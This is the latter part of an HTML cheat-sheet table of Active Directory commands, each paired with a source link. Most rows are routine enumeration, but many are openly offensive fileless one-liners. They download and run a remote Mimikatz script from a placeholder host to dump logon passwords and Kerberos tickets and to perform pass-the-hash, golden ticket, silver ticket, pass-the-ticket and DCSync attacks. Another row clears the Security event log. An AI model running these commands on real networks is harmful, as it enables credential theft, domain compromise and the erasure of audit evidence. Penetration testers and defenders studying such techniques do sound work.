<td><a href="https://learn.microsoft.com/en-us/powershell/module/laps/find-admpwdextendedrights" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>View All Replication Subnets</td>
<td><code>Get-ADReplicationSubnet -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsubnet" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Machines with High Privileges</td>
<td><code>Get-ADComputer -Filter {PrimaryGroupID -eq 512}</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/r3d-buck3t/domain-enumeration-with-active-directory-powershell-module-7ce4fcfe91d3" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Get AD Domain Sites and Subnets</td>
<td><code>Get-ADReplicationSite | Select-Object Name, SiteObjectGUID</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsite" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate Password Policies</td>
<td><code>Get-ADFineGrainedPasswordPolicy</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adfinegrainedpasswordpolicy" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find High-Value Targets (e.g., Admins with SPN)</td>
<td><code>Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>List All Domain Groups and Membership Counts</td>
<td><code>Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"}</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>Find Sensitive Account Delegations</td>
<td><code>Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>Enumerate Domain Admins</td>
<td><code>Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Check for Kerberos Pre-Authentication Disabled Accounts</td>
<td><code>Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-aduser" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find All Sessions on a Computer</td>
<td><code>quser /server:ComputerName</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt" target="_blank">Quser Command</a></td>
</tr>
<tr>
<td>Identify all GPO Permissions for a User</td>
<td><code>Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gppermission" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate All Forest Trusts</td>
<td><code>Get-ADTrust -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Open Shares on Remote Computer</td>
<td><code>net view \\ComputerName /all</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt" target="_blank">Net View Command</a></td>
</tr>
<tr>
<td>Check if Machine is a Domain Controller</td>
<td><code>if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" }</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Members of a Specific OU</td>
<td><code>Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>Identify Admin Accounts with Password Never Expire</td>
<td><code>Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name</code></td>
<td>PowerShell</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>Get LAPS-Enabled Computers</td>
<td><code>Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com"</code></td>
<td>PowerShell (LAPS)</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/laps/find-admpwdextendedrights" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check Active Directory Replication Queue</td>
<td><code>repadmin /queue</code></td>
<td>CMD</td>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repadmin" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Kerberos Tickets in Cache</td>
<td><code>klist</code></td>
<td>CMD</td>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/klist" target="_blank">Klist Command</a></td>
</tr>
<tr>
<td>Find Users with Expired Passwords</td>
<td><code>Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/search-adaccount" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Disabled Accounts in Domain</td>
<td><code>Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/search-adaccount" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Privileges for a Specific Group</td>
<td><code>Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Sessions on a Domain Controller</td>
<td><code>qwinsta /server:DomainControllerName</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/query-session.html" target="_blank">Qwinsta Command</a></td>
</tr>
<tr>
<td>Check Domain Controllers Replication Status</td>
<td><code>Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com"</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationpartnermetadata" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Local Administrators on Remote System</td>
<td><code>net localgroup Administrators /domain</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt" target="_blank">Net Localgroup Command</a></td>
</tr>
<tr>
<td>Run Mimikatz as Admin (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'</code></td>
<td>PowerShell (Fileless)</td>
<td><a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#summary" target="_blank">Mimikatz Cheat Sheet</a></td>
</tr>
<tr>
<td>Dump Credentials from Memory (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'</code></td>
<td>PowerShell (Fileless)</td>
<td><a href="https://hadess.io/mimikatz-comprehensive-guide/" target="_blank">Comprehensive Mimikatz Guide</a></td>
</tr>
<tr>
<td>Extract Kerberos Ticket (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export'</code></td>
<td>PowerShell (Fileless)</td>
<td><a href="https://adsecurity.org/?page_id=1821" target="_blank">ADSecurity - Mimikatz</a></td>
</tr>
<tr>
<td>Pass-the-Hash Attack (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe'</code></td>
<td>PowerShell (Fileless)</td>
<td><a href="https://akimbocore.com/article/privilege-escalation-extracting-passwords-with-mimikatz/" target="_blank">AkimboCore - Mimikatz</a></td>
</tr>
<tr>
<td>Enumerate All Registry Keys</td>
<td><code>reg query HKLM</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Reg Command</a></td>
</tr>
<tr>
<td>Check AutoStart Programs</td>
<td><code>reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run</code></td>
<td>CMD</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/windows-registry-persistence" target="_blank">HackTricks - Registry Persistence</a></td>
</tr>
<tr>
<td>Modify Registry Key Permissions</td>
<td><code>reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Reg Add Command</a></td>
</tr>
<tr>
<td>Export Registry Hive</td>
<td><code>reg export HKLM\Software\MyKey mykey.reg</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Reg Export Command</a></td>
</tr>
<tr>
<td>Force Group Policy Update</td>
<td><code>gpupdate /force</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Gpupdate Command</a></td>
</tr>
<tr>
<td>List Applied GPOs for Computer</td>
<td><code>gpresult /R /SCOPE COMPUTER</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Gpresult Command</a></td>
</tr>
<tr>
<td>Enumerate All GPOs Linked to OU</td>
<td><code>Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local"</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gplink" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Group Policies in Domain</td>
<td><code>Get-GPO -All</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find Local Admins on Remote Machine</td>
<td><code>net localgroup Administrators /domain</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Net Localgroup Command</a></td>
</tr>
<tr>
<td>View Security Event Logs</td>
<td><code>Get-EventLog -LogName Security -Newest 100</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Clear Security Event Logs</td>
<td><code>Clear-EventLog -LogName Security</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/clear-eventlog" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enable Remote Desktop (RDP)</td>
<td><code>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f</code></td>
<td>CMD</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/enable-rdp-windows" target="_blank">HackTricks - Enable RDP</a></td>
</tr>
<tr>
<td>Golden Ticket Attack (Fileless)</td>
<td>
<code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-<Domain-SID> /krbtgt:<krbtgt_hash> /id:500'</code>
<br>Load the ticket in session:
<br><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt <ticket.kirbi>'</code>
</td>
<td>PowerShell (Fileless)</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-attacks/golden-ticket" target="_blank">HackTricks - Golden Ticket</a></td>
</tr>
<tr>
<td>Silver Ticket Attack (Fileless)</td>
<td>
<code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21-<Domain-SID> /target:ServerName /rc4:<service_account_hash> /service:cifs /id:500'</code>
<br>Load the ticket in session:
<br><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt <ticket.kirbi>'</code>
</td>
<td>PowerShell (Fileless)</td>
<td><a href="https://adsecurity.org/?p=2011" target="_blank">ADSecurity - Silver Ticket</a></td>
</tr>
<tr>
<td>Pass-the-Ticket Attack (Fileless)</td>
<td>
Dump Kerberos tickets in memory:
<br><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets'</code>
<br>Use a specific Kerberos ticket:
<br><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt <ticket.kirbi>'</code>
</td>
<td>PowerShell (Fileless)</td>
<td><a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#pass-the-ticket" target="_blank">Mimikatz Cheat Sheet - Pass-the-Ticket</a></td>
</tr>
<tr>
<td>Dump Cached Domain Credentials (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'</code> (Requires elevated privileges)</td>
<td>PowerShell (Fileless)</td>
<td><a href="https://hadess.io/mimikatz-comprehensive-guide/" target="_blank">Comprehensive Mimikatz Guide</a></td>
</tr>
<tr>
<td>Dump Domain Credentials using DCSync (Fileless)</td>
<td><code>IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator'</code></td>
<td>PowerShell (Fileless)</td>
<td><a href="https://adsecurity.org/?p=1729" target="_blank">ADSecurity - DCSync Attack</a></td>
</tr>
<tr>
<td>Enable Remote Desktop (RDP)</td>
<td><code>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f</code></td>
<td>CMD</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/enable-rdp-windows" target="_blank">HackTricks - Enable RDP</a></td>
</tr>
<tr>
<td>Check Registry Keys for Persistence</td>
<td><code>reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run</code></td>
<td>CMD</td>
<td><a href="https://ss64.com/nt/" target="_blank">SS64 - Reg Command</a></td>
</tr>
<tr>
<td>List User Rights Assignments</td>
<td><code>Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gpresulstantsetofpolicy" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Export All Group Policy Objects</td>
<td><code>Backup-GPO -All -Path "C:\GPOBackups"</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/grouppolicy/backup-gpo" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Pass-the-Hash Attack on Local Account</td>
<td><code>sekurlsa::pth /user:LocalUser /domain:localhost /ntlm:<ntlm_hash> /run:powershell.exe</code></td>
<td>Mimikatz</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz" target="_blank">HackTricks - Pass-the-Hash</a></td>
</tr>
<tr>
<td>Query Active Directory Replication Partners</td>
<td><code>repadmin /showrepl</code></td>
<td>CMD</td>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repadmin" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Active Directory Sites</td>
<td><code>Get-ADReplicationSite -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsite" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Identify Domain Admins Group Members</td>
<td><code>Get-ADGroupMember -Identity "Domain Admins"</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember" target="_blank">Microsoft Documentation</a></td>
</tr>
<!-- Submit your PR -->
</tbody>
</table>
<!-- Crédits -->
<footer style="margin-top: 20px; text-align: center; font-size: 0.9em;">
<p>Contributions by <a href="https://www.linkedin.com/in/joas-antonio-dos-santos/" target="_blank">Joas A Santos</a></p>
<p>Contributions by <a href="https://x.com/" target="_blank">Marlon Byt3</a></p>
</footer>
</body>
</html>